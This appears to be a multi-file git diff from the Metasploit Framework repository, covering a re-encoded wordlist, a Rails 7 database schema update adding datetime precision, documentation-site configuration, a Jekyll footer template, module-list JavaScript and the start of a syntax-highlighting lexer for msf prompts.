raapkraal
rab
@@ -63215,7 +63216,7 @@ ragingly
raglan
ragnar
ragnarok
ragnarök
ragnarök
ragout
rags-to-riches
ragtag
@@ -64150,7 +64151,7 @@ recharter
recheck
recherche
recherches
recherché
recherché
rechristen
recidivism
recidivist
@@ -65462,7 +65463,7 @@ repute
reputed
reputes
reputing
repêchage
repêchage
request
requested
requester
@@ -66490,7 +66491,7 @@ risorgimento
risotto
rispark
risque
risqué
risqué
rissole
rita
ritalin
@@ -67101,7 +67102,7 @@ rostropovich
rostrum
roswell
rosy
rosé
rosé
rot
rot-gut
rota
@@ -67211,8 +67212,8 @@ routinize
rouvin
roux
rouxville
roué
roués
roué
roués
rove
rover
roving
@@ -67604,13 +67605,13 @@ ryon
rysmierbult
ryukyu
ryun
régime
régimes
résumé
résumés
réunion
rôle
rôles
régime
régimes
résumé
résumés
réunion
rôle
rôles
s
sa
saa
@@ -68354,10 +68355,10 @@ saussure
saute
sauterne
sauternes
sauté
sautéed
sautéing
sautés
sauté
sautéed
sautéing
sautés
sauveur
savable
savage
@@ -68721,7 +68722,7 @@ schrod
schrodinger
schroeder
schroedinger
schrödinger
schrödinger
schtick
schubert
schuinshoogte
@@ -70196,12 +70197,12 @@ seychelles
seyfert
seymour
sezela
señor
señora
señoras
señores
señorita
señoritas
señor
señora
señoras
señores
señorita
señoritas
sf
sforzandi
sforzando
@@ -72452,7 +72453,7 @@ smutting
smutty
smyrna
smythesdale
smörgåsbord
smörgåsbord
sn
snaaks
snack
@@ -72823,13 +72824,13 @@ soi
soi-disant
soigne
soignee
soigné
soigné
soil
soiled
soiling
soiree
soirée
soirées
soirée
soirées
sojourn
sojourner
sojourning
@@ -73126,8 +73127,8 @@ sottish
sou
soubriquet
souffle
soufflé
soufflés
soufflé
soufflés
sough
soughing
soughs
@@ -73161,8 +73162,8 @@ soup
soupcon
souphanouvong
soupy
soupçon
soupçons
soupçon
soupçons
sour
source
sourced
@@ -76890,9 +76891,9 @@ szechuan
szechwan
szilard
szymborska
são
séance
séances
são
séance
séances
t
t-bone
t-junction
@@ -77263,7 +77264,7 @@ tannery
tannest
tanney
tannhauser
tannhäuser
tannhäuser
tannie
tannin
tanning
@@ -78405,7 +78406,7 @@ thespis
thessalonian
thessalonians
thessaloniki
thessaloníki
thessaloníki
thessaly
theta
theunissen
@@ -79406,7 +79407,7 @@ tomorrow
tompkins
tomsk
tomtit
tomé
tomé
ton
tonal
tonality
@@ -79700,7 +79701,7 @@ touchstone
touchwood
touchy
touchy-feely
touché
touché
tough
tough-minded
toughen
@@ -81328,10 +81329,10 @@ tzarist
tzatziki
tzeltal
tzigane
tête
tête-bêche
tête-à-tête
tórshavn
tête
tête-bêche
tête-à-tête
tórshavn
u
uar
uart
@@ -83891,7 +83892,7 @@ valvoline
valvular
valvules
valyland
valéry
valéry
vamoose
vamp
vamped
@@ -84138,8 +84139,8 @@ velvet
velveted
velveteen
velvety
velásquez
velázquez
velásquez
velázquez
venables
venal
venality
@@ -84508,8 +84509,8 @@ victualer
victualler
victualling
vicuna
vicuña
vicuñas
vicuña
vicuñas
vida
vidal
vide
@@ -84711,7 +84712,7 @@ virulence
virulent
virus
vis
vis-à-vis
vis-à-vis
visa
visage
visagiepark
@@ -84938,13 +84939,13 @@ voidness
voids
voila
voile
voilà
voilà
voip
vol
vol-au-vent
vol.
volapuk
volapük
volapük
volar
volatile
volatileness
@@ -87786,7 +87787,7 @@ yankton
yao
yaobang
yaounde
yaoundé
yaoundé
yap
yapped
yapping
@@ -88383,15 +88384,15 @@ zymurgy
zyrtec
zyuganov
zzz
zürich
Ågar
Ångström
éclair
éclairs
éclat
élan
émigré
émigrés
épée
étude
zürich
Ågar
Ångström
éclair
éclairs
éclat
élan
émigré
émigrés
épée
étude
vagrant
@@ -56,3 +56,4 @@ custom-registration-form-builder-with-submission-manager
woocommerce-abandoned-cart
elementor
bookingpress
paid-memberships-pro
+5230 -1340
View File
File diff suppressed because it is too large Load Diff
+115 -116
View File
@@ -10,15 +10,14 @@
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2019_05_07_120211) do
ActiveRecord::Schema[7.0].define(version: 2019_05_07_120211) do
# These are extensions that must be enabled in order to support this database
enable_extension "plpgsql"
create_table "api_keys", id: :serial, force: :cascade do |t|
t.text "token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "async_callbacks", id: :serial, force: :cascade do |t|
@@ -27,16 +26,16 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "listener_uri"
t.string "target_host"
t.string "target_port"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "automatic_exploitation_match_results", id: :serial, force: :cascade do |t|
t.integer "match_id"
t.integer "run_id"
t.string "state", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["match_id"], name: "index_automatic_exploitation_match_results_on_match_id"
t.index ["run_id"], name: "index_automatic_exploitation_match_results_on_run_id"
end
@@ -44,8 +43,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "automatic_exploitation_match_sets", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "user_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["user_id"], name: "index_automatic_exploitation_match_sets_on_user_id"
t.index ["workspace_id"], name: "index_automatic_exploitation_match_sets_on_workspace_id"
end
@@ -54,8 +53,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "module_detail_id"
t.string "state"
t.integer "nexpose_data_vulnerability_definition_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "match_set_id"
t.string "matchable_type"
t.integer "matchable_id"
@@ -68,8 +67,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "workspace_id"
t.integer "user_id"
t.integer "match_set_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["match_set_id"], name: "index_automatic_exploitation_runs_on_match_set_id"
t.index ["user_id"], name: "index_automatic_exploitation_runs_on_user_id"
t.index ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id"
@@ -77,11 +76,11 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "clients", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "ua_string", limit: 1024, null: false
t.string "ua_name", limit: 64
t.string "ua_ver", limit: 32
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
end
create_table "credential_cores_tasks", id: false, force: :cascade do |t|
@@ -96,8 +95,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "creds", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "user", limit: 2048
t.string "pass", limit: 4096
t.boolean "active", default: true
@@ -110,9 +109,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "events", id: :serial, force: :cascade do |t|
t.integer "workspace_id"
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.boolean "critical"
t.boolean "seen"
t.string "username"
@@ -123,7 +122,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "host_id"
t.integer "service_id"
t.integer "vuln_id"
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
@@ -141,8 +140,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "session_uuid", limit: 8
t.string "name", limit: 2048
t.string "payload", limit: 2048
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "host_details", id: :serial, force: :cascade do |t|
@@ -157,7 +156,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "hosts", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.inet "address", null: false
t.string "mac"
t.string "comm"
@@ -169,7 +168,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "os_lang"
t.string "arch"
t.integer "workspace_id", null: false
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.text "purpose"
t.string "info", limit: 65536
t.text "comments"
@@ -197,8 +196,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "listeners", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "workspace_id", default: 1, null: false
t.integer "task_id"
t.boolean "enabled", default: true
@@ -217,8 +216,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "ltype", limit: 512
t.string "path", limit: 1024
t.text "data"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "content_type"
t.text "name"
t.text "info"
@@ -227,8 +226,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "macros", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "owner"
t.text "name"
t.text "description"
@@ -243,8 +242,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "public_id"
t.integer "realm_id"
t.integer "workspace_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.integer "logins_count", default: 0
t.index ["origin_type", "origin_id"], name: "index_metasploit_credential_cores_on_origin_type_and_origin_id"
t.index ["private_id"], name: "index_metasploit_credential_cores_on_private_id"
@@ -264,56 +263,56 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "service_id", null: false
t.string "access_level"
t.string "status", null: false
t.datetime "last_attempted_at"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "last_attempted_at", precision: nil
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true
t.index ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true
end
create_table "metasploit_credential_origin_cracked_passwords", id: :serial, force: :cascade do |t|
t.integer "metasploit_credential_core_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["metasploit_credential_core_id"], name: "originating_credential_cores"
end
create_table "metasploit_credential_origin_imports", id: :serial, force: :cascade do |t|
t.text "filename", null: false
t.integer "task_id"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id"
end
create_table "metasploit_credential_origin_manuals", id: :serial, force: :cascade do |t|
t.integer "user_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id"
end
create_table "metasploit_credential_origin_services", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.text "module_full_name", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true
end
create_table "metasploit_credential_origin_sessions", id: :serial, force: :cascade do |t|
t.text "post_reference_name", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true
end
create_table "metasploit_credential_privates", id: :serial, force: :cascade do |t|
t.string "type", null: false
t.text "data", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "jtr_format"
t.index "type, decode(md5(data), 'hex'::text)", name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)"
t.index ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))"
@@ -321,8 +320,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "metasploit_credential_publics", id: :serial, force: :cascade do |t|
t.string "username", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "type", null: false
t.index ["username"], name: "index_metasploit_credential_publics_on_username", unique: true
end
@@ -330,8 +329,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "metasploit_credential_realms", id: :serial, force: :cascade do |t|
t.string "key", null: false
t.string "value", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true
end
@@ -361,7 +360,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "module_details", id: :serial, force: :cascade do |t|
t.datetime "mtime"
t.datetime "mtime", precision: nil
t.text "file"
t.string "mtype"
t.text "refname"
@@ -371,7 +370,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.text "description"
t.string "license"
t.boolean "privileged"
t.datetime "disclosure_date"
t.datetime "disclosure_date", precision: nil
t.integer "default_target"
t.text "default_action"
t.string "stance"
@@ -402,7 +401,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "module_runs", id: :serial, force: :cascade do |t|
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.text "fail_detail"
t.string "fail_reason"
t.text "module_fullname"
@@ -414,8 +413,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "trackable_type"
t.integer "user_id"
t.string "username"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.index ["session_id"], name: "index_module_runs_on_session_id"
t.index ["user_id"], name: "index_module_runs_on_user_id"
end
@@ -428,8 +427,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "nexpose_consoles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.boolean "enabled", default: true
t.text "owner"
t.text "address"
@@ -444,12 +443,12 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
end
create_table "notes", id: :serial, force: :cascade do |t|
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "ntype", limit: 512
t.integer "workspace_id", default: 1, null: false
t.integer "service_id"
t.integer "host_id"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.boolean "critical"
t.boolean "seen"
t.text "data"
@@ -471,13 +470,13 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "raw_payload_hash"
t.string "build_status"
t.string "build_opts"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "profiles", id: :serial, force: :cascade do |t|
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.boolean "active", default: true
t.text "name"
t.text "owner"
@@ -486,9 +485,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "refs", id: :serial, force: :cascade do |t|
t.integer "ref_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name", limit: 512
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.index ["name"], name: "index_refs_on_name"
end
@@ -497,8 +496,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "created_by"
t.string "path", limit: 1024
t.text "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "reports", id: :serial, force: :cascade do |t|
@@ -507,9 +506,9 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "rtype"
t.string "path", limit: 1024
t.text "options"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "downloaded_at"
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.datetime "downloaded_at", precision: nil
t.integer "task_id"
t.string "name", limit: 63
end
@@ -522,12 +521,12 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "services", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.integer "port", null: false
t.string "proto", limit: 16, null: false
t.string "state"
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.text "info"
t.index ["host_id", "port", "proto"], name: "index_services_on_host_id_and_port_and_proto", unique: true
t.index ["name"], name: "index_services_on_name"
@@ -543,7 +542,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.binary "output"
t.string "remote_path"
t.string "local_path"
t.datetime "created_at"
t.datetime "created_at", precision: nil
end
create_table "sessions", id: :serial, force: :cascade do |t|
@@ -555,11 +554,11 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "port"
t.string "platform"
t.text "datastore"
t.datetime "opened_at", null: false
t.datetime "closed_at"
t.datetime "opened_at", precision: nil, null: false
t.datetime "closed_at", precision: nil
t.string "close_reason"
t.integer "local_id"
t.datetime "last_seen"
t.datetime "last_seen", precision: nil
t.integer "module_run_id"
t.index ["module_run_id"], name: "index_sessions_on_module_run_id"
end
@@ -571,51 +570,51 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.boolean "report_summary", default: false, null: false
t.boolean "report_detail", default: false, null: false
t.boolean "critical", default: false, null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_creds", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "cred_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_hosts", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "host_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_services", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "task_sessions", id: :serial, force: :cascade do |t|
t.integer "task_id", null: false
t.integer "session_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
end
create_table "tasks", id: :serial, force: :cascade do |t|
t.integer "workspace_id", default: 1, null: false
t.string "created_by"
t.string "module"
t.datetime "completed_at"
t.datetime "completed_at", precision: nil
t.string "path", limit: 1024
t.string "info"
t.string "description"
t.integer "progress"
t.text "options"
t.text "error"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "result"
t.string "module_uuid", limit: 8
t.binary "settings"
@@ -626,8 +625,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "crypted_password"
t.string "password_salt"
t.string "persistence_token"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "fullname"
t.string "email"
t.string "phone"
@@ -638,7 +637,7 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "vuln_attempts", id: :serial, force: :cascade do |t|
t.integer "vuln_id"
t.datetime "attempted_at"
t.datetime "attempted_at", precision: nil
t.boolean "exploited"
t.string "fail_reason"
t.string "username"
@@ -661,26 +660,26 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "nx_vuln_id"
t.float "nx_severity"
t.float "nx_pci_severity"
t.datetime "nx_published"
t.datetime "nx_added"
t.datetime "nx_modified"
t.datetime "nx_published", precision: nil
t.datetime "nx_added", precision: nil
t.datetime "nx_modified", precision: nil
t.text "nx_tags"
t.text "nx_vuln_status"
t.text "nx_proof_key"
t.string "src"
t.integer "nx_scan_id"
t.datetime "nx_vulnerable_since"
t.datetime "nx_vulnerable_since", precision: nil
t.string "nx_pci_compliance_status"
end
create_table "vulns", id: :serial, force: :cascade do |t|
t.integer "host_id"
t.integer "service_id"
t.datetime "created_at"
t.datetime "created_at", precision: nil
t.string "name"
t.datetime "updated_at"
t.datetime "updated_at", precision: nil
t.string "info", limit: 65536
t.datetime "exploited_at"
t.datetime "exploited_at", precision: nil
t.integer "vuln_detail_count", default: 0
t.integer "vuln_attempt_count", default: 0
t.integer "origin_id"
@@ -696,8 +695,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_forms", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path"
t.string "method", limit: 1024
t.text "params"
@@ -707,15 +706,15 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_pages", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path"
t.text "query"
t.integer "code", null: false
t.text "cookie"
t.text "auth"
t.text "ctype"
t.datetime "mtime"
t.datetime "mtime", precision: nil
t.text "location"
t.text "headers"
t.binary "body"
@@ -726,8 +725,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_sites", id: :serial, force: :cascade do |t|
t.integer "service_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "vhost", limit: 2048
t.text "comments"
t.text "options"
@@ -738,8 +737,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "web_vulns", id: :serial, force: :cascade do |t|
t.integer "web_site_id", null: false
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.text "path", null: false
t.string "method", limit: 1024, null: false
t.text "params"
@@ -773,8 +772,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.string "respcode", limit: 16
t.text "resphead"
t.text "response"
t.datetime "created_at"
t.datetime "updated_at"
t.datetime "created_at", precision: nil
t.datetime "updated_at", precision: nil
end
create_table "wmap_targets", id: :serial, force: :cascade do |t|
@@ -783,8 +782,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
t.integer "port"
t.integer "ssl"
t.integer "selected"
t.datetime "created_at"
t.datetime "updated_at"
t.datetime "created_at", precision: nil
t.datetime "updated_at", precision: nil
end
create_table "workspace_members", id: false, force: :cascade do |t|
@@ -794,8 +793,8 @@ ActiveRecord::Schema.define(version: 2019_05_07_120211) do
create_table "workspaces", id: :serial, force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.datetime "created_at", precision: nil, null: false
t.datetime "updated_at", precision: nil, null: false
t.string "boundary", limit: 4096
t.string "description", limit: 4096
t.integer "owner_id"
+1 -1
View File
@@ -7,4 +7,4 @@ vendor
# These files will be generated by build.rb and do not need to be committed
docs
metasploit-framework.wiki.old
index.md
/index.md
+13 -6
View File
@@ -13,6 +13,19 @@ How it works:
Behind the scenes these docs are built and deployed to https://docs.metasploit.com/
### Adding pages
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
To add a new page, modify `navigation.rb`. Full details are found beside the `NAVIGATION_CONFIG` constant.
## Adding links
For linking to other docs the Github markdown syntax `[[link text|relative_path_to_docs]]` is used. Behind the scenes these
links will be verified at build time to ensure there's no 404 links.
Note: It is also possible to use the syntax `[[link text|relative_path_to_docs#section]]` - but this navigation will happen client side, and
there is no validation that these sections exist at build time. It is possible for future edits to a markdown file to break these links.
## Setup
### Developer build
@@ -42,9 +55,3 @@ bundle exec ruby build.rb --production --serve
```
Now visit http://127.0.0.1:4000/metasploit-framework/
### Contributing Documentation
You can modify existing documentation files within `metasploit-framework.wiki/` with an editor of your choice and send a pull request.
Note that adding a new page will also require modifying `navigation.rb` to appear on the navigation menu.
+1 -1
View File
@@ -41,7 +41,7 @@ aux_links:
nav_cache: true
# False until the wiki's markdown files are migrated into the Metasploit repository
# We set gh_edit_link to false to opt out of the default edit link support - and instead use a custom implementation in _includes/footer_custom.html
gh_edit_link: false
gh_edit_link_text: 'Edit this page on GitHub'
gh_edit_repository: 'https://github.com/rapid7/metasploit-framework'
+3
View File
@@ -0,0 +1,3 @@
# Staging assumes that it is currently deployed to gh-pages; All links are prefixed with /metasploit-framework
baseurl: 'metasploit-framework'
ga_tracking: ''
+17
View File
@@ -0,0 +1,17 @@
{% comment %}
Modification of https://github.com/just-the-docs/just-the-docs/blob/2495d3e6bb5720ae23e35caf16888f0c7f37ede0/_includes/components/footer.html
The 'edit this page' page link now only appears when the root folder entry has content, and also includes linking directly to module documentation,
or site wiki content
{% endcomment %}
{% if
site.gh_edit_link_text and
site.gh_edit_repository and
site.gh_edit_branch and
site.gh_edit_view_mode and
page.has_content == 'true'
%}
<p class="text-small text-grey-dk-000 mb-0">
<a href="{{ site.gh_edit_repository }}/{{ site.gh_edit_view_mode }}/{{ site.gh_edit_branch }}{% if site.gh_edit_source %}/{{ site.gh_edit_source }}{% endif %}{% if page.collection and site.collections_dir %}/{{ site.collections_dir }}{% endif %}/{{ page.old_path }}" id="edit-this-page">{{ site.gh_edit_link_text }}</a>
</p>
{% endif %}
+2
View File
@@ -0,0 +1,2 @@
<link rel="stylesheet" href="{% link assets/css/main.css %}">
+60
View File
@@ -0,0 +1,60 @@
// Handle opening/closing module overview list items
jtd.onReady(function(ready) {
var forEach = function (list, callback) {
for (var i = 0; i < list.length; i++) {
callback(list[i])
}
};
// Bind listeners for expand all / collapse all functionality
var bindToggleAll = function (selector, options) {
var isOpen = options.open;
var expandAllButtons = document.querySelectorAll(selector);
forEach(expandAllButtons, function (button) {
jtd.addEvent(button, 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var moduleList = originalTarget.closest('.module-list');
forEach(moduleList.querySelectorAll('.folder > ul'), function (list) {
if (isOpen) {
list.classList.add('open');
} else {
list.classList.remove('open');
}
})
e.preventDefault();
});
});
};
bindToggleAll('.module-list [data-expand-all]', { open: true })
bindToggleAll('.module-list [data-collapse-all]', { open: false })
// Bind listeners for collapsing module navigation items
var moduleStructureElements = document.querySelectorAll('.module-structure');
forEach(moduleStructureElements, function (moduleStructure) {
jtd.addEvent(moduleStructure, 'click', function (e) {
var originalTarget = e.target || e.srcElement || e.originalTarget;
if (originalTarget.tagName !== 'A') { return; }
var parentListItem = originalTarget.closest('li');
if (parentListItem.className.indexOf('folder') === -1) { return; }
toggleChildModuleList(parentListItem)
e.preventDefault();
});
})
var toggleChildModuleList = function (parent) {
var list = parent.querySelector('ul');
if (!list) {
return;
}
list.classList.toggle('open');
// Recursively automatically open any nested lists of size 1
if (list.children.length === 1) {
toggleChildModuleList(list.children[0])
}
}
});
@@ -0,0 +1,74 @@
require 'rouge'
# Custom highlighting support for Metasploit's prompt
# https://rouge-ruby.github.io/docs/file.LexerDevelopment.html
module Rouge
# Custom tokens specific to Msf, as the inbuilt lexer tokens can't capture
# the detail required for Msf's print_warning/print_good/etc calls.
module Tokens
def self.token(name, shortname, &b)
tok = Token.make_token(name, shortname, &b)
const_set(name, tok)
end
# The 'shortname' is the class used when generating the HTML. It is intentionally
# short to reduce HTML size.
# https://github.com/rouge-ruby/rouge/blob/a4ed658d2778a3e2d3e68873f7221b91149a2ed4/lib/rouge/token.rb#L69
SHORTNAME = 'z'
token :Msf, SHORTNAME do
# prompt - msf / msf5 / msf6 / meterpreter
token :Prompt, "#{SHORTNAME}p"
# [-]
token :Error, "#{SHORTNAME}e"
# [+]
token :Good, "#{SHORTNAME}g"
# [*]
